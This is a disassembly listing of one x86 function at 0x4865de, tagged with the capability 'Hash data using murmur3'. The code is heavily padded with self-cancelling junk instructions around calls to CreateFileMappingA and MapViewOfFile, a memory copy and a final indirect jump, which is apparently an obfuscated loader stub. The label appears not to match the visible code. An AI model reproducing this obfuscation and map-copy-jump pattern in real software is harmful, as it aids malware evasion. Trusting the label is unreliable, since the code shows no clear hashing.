Function at 0x4865de
Capabilities:
Hash data using murmur3

Disassembly:
xor ebx, dword [0x4c1b60]
call fcn.004088e6
call fcn.00405c94
neg ebx
sub ecx, eax
ror ebx, 0x1b
dec eax
inc esi
mov dword [0x4c15fa], 0x7e13446
add esi, eax
xor ebx, eax
not edx
rol esi, 0xf
push 0x40
not eax
mov dword [0x4c1354], 0xd827ff0
rol eax, 0x1c
xchg ebx, eax
sub edx, dword [0x4c1a2c]
mov dword [0x4c11dc], esi
call fcn.004063cf
xchg eax, esi
neg esi
dec eax
not ecx
xchg eax, eax
mov dword [0x4c1718], esi
sub esi, 0x836619c
add esi, 0x836619c
xor dword [0x4c1284], ebx
xchg eax, eax
not ecx
inc eax
neg esi
xchg eax, esi
xchg ebx, eax
ror eax, 0x1c
mov dword [0x4c126c], 0xcef1852
not eax
push 0
inc esi
ror edx, 0x1e
inc edx
sub edx, esi
ror ecx, 0x1a
xor ebx, 0x34cfc894
add edi, dword [0x4c1c54]
dec esi
neg edx
call fcn.004052c9
call fcn.004077ce
neg edx
inc esi
xor ebx, 0x34cfc894
rol ecx, 0x1a
add edx, esi
dec edx
rol edx, 0x1e
dec esi
push 0xffffffffffffffff
ror edx, 0x18
call fcn.00404f8f
xchg ecx, eax
not eax
sub esi, dword [0x4c1c30]
xor edx, dword [0x4c19fa]
rol esi, 3
neg eax
mov dword [0x4c15bd], 0x17a4f5e8
mov dword [0x4c1247], ebx
dec esi
mov dword [0x4c1536], edi
not eax
mov dword [0x4c144e], ecx
sub esi, dword [0x4c199c]
sub ecx, dword [0x4c1a1c]
rol edi, 0x1f
sub eax, ebp
inc esi
xchg eax, eax
xchg eax, eax
dec esi
add eax, ebp
ror edi, 0x1f
and dword [0x4c14c1], ecx
not eax
inc esi
mov dword [0x4c187e], edi
xor dword [0x4c1366], 0xf7c769b
neg eax
ror esi, 3
not eax
xchg ecx, eax
call fcn.00403eb2
rol edx, 0x18
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call fcn.00408892
xor edi, ebp
rol eax, 3
call fcn.00408a7a
mov dword [0x4c1453], edi
rol eax, 0x1b
add ebx, dword [0x4c1b06]
mov dword [0x4c1288], ebx
sub dword [0x4c13a0], ecx
sub ebx, dword [0x4c1c6b]
mov dword [0x4c189b], ecx
and dword [0x4c17c1], ebx
inc eax
mov dword [0x4c138c], 0x10adf40e
ror esi, 0xd
rol esi, 0xd
dec eax
or dword [0x4c13bc], ecx
mov dword [0x4c1478], edx
or dword [0x4c13eb], edi
ror eax, 0x1b
or dword [0x4c16e4], edx
ror eax, 3
xor edi, ebp
call fcn.0040653e
push ebx
sub ecx, dword [0x4c1a68]
ror eax, 0x1d
xor edx, ebp
add ecx, dword [0x4c1a8b]
add edx, dword [0x4c1b28]
or dword [0x4c1520], 0x466e6e
sub dword [0x4c13e2], 0x2e38c434
xor esi, eax
mov dword [0x4c1832], 0x77ecbf6
call fcn.00408db6
add ebx, dword [0x4c1924]
mov dword [0x4c1464], esi
xchg eax, eax
mov dword [0x4c148e], edx
xor ebx, esp
dec edx
sub eax, 0x6c5db49
rol edx, 7
mov dword [0x4c18b4], 0x1f74f8db
sub dword [0x4c1338], 0x15c80b1f
ror edx, 7
add eax, 0x6c5db49
inc edx
xor ebx, esp
xchg eax, eax
call fcn.00405967
mov dword [0x4c13ce], 0x4adad4
xor esi, eax
sub dword [0x4c13dd], 0xc9971ea
xor edx, ebp
rol eax, 0x1d
push 0
xor ecx, eax
dec edx
not esi
sub esi, eax
add ecx, dword [0x4c198c]
inc esi
sub esi, esp
dec esi
mov dword [0x4c13c7], edi
xor edi, ecx
rol ecx, 0x13
call fcn.00408a7a
neg eax
xor eax, ebp
mov dword [0x4c11e4], esi
sub ebx, dword [0x4c1c31]
or dword [0x4c133a], ecx
mov dword [0x4c15b7], ecx
mov dword [0x4c1530], edx
xor eax, ebp
neg eax
ror ecx, 0x13
xor edi, ecx
add dword [0x4c1854], ebx
inc esi
add esi, esp
dec esi
add esi, eax
not esi
inc edx
xor ecx, eax
push 0
dec ebx
or dword [0x4c14a8], 0x3adbfd52
inc eax
xor edx, dword [0x4c18d6]
dec ecx
mov dword [0x4c149f], edi
inc ebx
not edi
sub ecx, dword [0x4c18f0]
xchg edx, eax
xchg edx, eax
not edi
dec ebx
mov dword [0x4c1394], edi
inc ecx
dec eax
xor dword [0x4c1608], 0x1616209a
inc ebx
push 0x22
xor esi, eax
add esi, ebp
xor edx, dword [0x4c1a54]
ror eax, 0x11
add edx, dword [0x4c1ec0]
neg eax
xchg esi, eax
add ecx, esp
mov dword [0x4c14d9], 0x2848444b
add ecx, dword [0x4c1d7c]
xchg edx, eax
or dword [0x4c126c], 0x1351f4e2
neg ebx
sub ebx, ecx
sub esi, dword [0x4c1967]
sub dword [0x4c1560], 0xabcb8c4
ror esi, 0xc
xchg esi, eax
neg eax
neg eax
xchg esi, eax
rol esi, 0xc
or dword [0x4c1291], 0x190b70
add ebx, ecx
neg ebx
mov dword [0x4c12f7], 0x9afcb67
xchg edx, eax
sub ecx, esp
xchg esi, eax
neg eax
rol eax, 0x11
sub esi, ebp
xor esi, eax
push eax
rol esi, 1
not esi
mov dword [0x4c1301], 0x198a689
call fcn.004084af
inc esi
add ebx, dword [0x4c1a9d]
ror eax, 0xa
xchg esi, eax
inc eax
ror eax, 0x18
sub ebx, dword [0x4c1e36]
rol eax, 0x18
dec eax
xchg esi, eax
rol eax, 0xa
dec esi
call fcn.00405ea7
mov dword [0x4c11a8], 0x8363889
not esi
ror esi, 1
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
call fcn.00406c47
sub esi, eax
add edi, ebp
sub edi, dword [0x4c1eba]
not eax
xor esi, 0x1efb493f
call fcn.00406cf3
mov dword [0x4c1327], ecx
call fcn.00408a7a
add esi, dword [0x4c1c08]
ror esi, 0x13
xor ebx, eax
xor ecx, esp
or dword [0x4c145d], ecx
call fcn.004042e3
rol ecx, 0x1c
sub esi, dword [0x4c1b96]
xchg edx, edx
sub edx, dword [0x4c1a22]
rol eax, 0xd
xor dword [0x4c1720], ecx
sub dword [0x4c132f], 0xa7a8728
xor dword [0x4c1373], 0x2d2299cd
ror eax, 0xd
xchg edx, edx
ror ecx, 0x1c
call fcn.004083d4
xor ecx, esp
xor ebx, eax
rol esi, 0x13
call fcn.00401977
xor dword [0x4c1306], ecx
xor esi, 0x1efb493f
not eax
sub edi, ebp
add esi, eax
call fcn.00407201
mov ecx, ebx
xor esi, 0x11c24b7a
ror eax, 7
xchg esi, edx
xor edi, ecx
ror esi, 0xa
call fcn.00408958
inc ecx
add esi, esp
xor dword [0x4c1495], 0x857fc86
xor esi, dword [0x4c1eba]
neg eax
call fcn.004040a7
xor esi, eax
xor esi, eax
neg eax
mov dword [0x4c17c0], 0x7b76cf
sub esi, esp
dec ecx
call fcn.00404804
rol esi, 0xa
xor edi, ecx
xchg esi, edx
rol eax, 7
xor esi, 0x11c24b7a
call 0x486aa4
mov dword [0x4c12d4], 0x11eccbf0
ror edi, 0x1d
sub ecx, dword [0x4c1b86]
xor edi, esi
rol eax, 0x16
sub esi, eax
inc esi
xchg esi, edx
xor eax, 0xa77ba17
sub dword [0x4c1498], ecx
neg edx
neg edx
add dword [0x4c1444], ecx
xor eax, 0xa77ba17
xchg esi, edx
dec esi
add esi, eax
ror eax, 0x16
xor edi, esi
rol edi, 0x1d
and dword [0x4c16c8], 0x191e14
pop esi
xchg eax, edx
mov dword [0x4c146e], esi
sub esi, 0x3a178b0
xor eax, ebx
add esi, eax
rol ebx, 9
not edx
sub edi, esp
mov dword [0x4c11dc], edi
sub edi, edx
rol eax, 1
inc eax
call fcn.0040467e
xor eax, edx
call fcn.0040597a
xor ecx, edx
ror esi, 0x17
sub edx, 0x13254da2
xor edi, esp
xor edi, esp
add edx, 0x13254da2
rol esi, 0x17
xor ecx, edx
call fcn.004010dc
xor eax, edx
call fcn.0040619f
dec eax
ror eax, 1
add edi, edx
mov dword [0x4c1821], edx
add edi, esp
not edx
ror ebx, 9
sub esi, eax
xor eax, ebx
add esi, 0x3a178b0
sub dword [0x4c12c2], edi
xchg eax, edx
add esi, 0x206
inc eax
and dword [0x4c1699], 0x16e0a464
inc eax
rol edx, 0x1c
add ebx, dword [0x4c1a55]
call fcn.00407a5e
mov dword [0x4c13f7], edx
call fcn.0040804f
dec eax
add edx, eax
sub esi, eax
dec esi
call fcn.00406bf8
inc esi
dec esi
inc esi
add esi, eax
sub edx, eax
inc eax
call fcn.00404c8e
mov dword [0x4c174c], ecx
call fcn.00408cff
ror edx, 0x1c
dec eax
or dword [0x4c169a], 0x25ebd528
dec eax
mov edi, eax
sub ecx, eax
rol esi, 0xd
add edi, eax
neg ecx
xor esi, 0x8787870
inc edx
xor esi, dword [0x4c1dd8]
call fcn.004070ff
add ecx, esp
mov dword [0x4c158e], 0x1f32a1c8
add esi, eax
dec eax
rol ebx, 2
call fcn.004083d4
call fcn.00401977
ror ebx, 2
inc eax
sub esi, eax
sub dword [0x4c15b8], 0x6fbcb5
sub ecx, esp
call fcn.00403b78
dec edx
xor esi, 0x8787870
neg ecx
sub edi, eax
ror esi, 0xd
add ecx, eax
rep movsb byte es:[edi], byte [esi]
not eax
call fcn.00404ac8
not eax
dec esi
ror esi, 9
add esi, eax
dec edx
add eax, 0x3c17ac0
ror ecx, 8
sub ecx, dword [0x4c1ed8]
inc ecx
dec ecx
rol ecx, 8
sub eax, 0x3c17ac0
inc edx
sub esi, eax
rol esi, 9
inc esi
not eax
call fcn.0040619f
not eax
jmp eax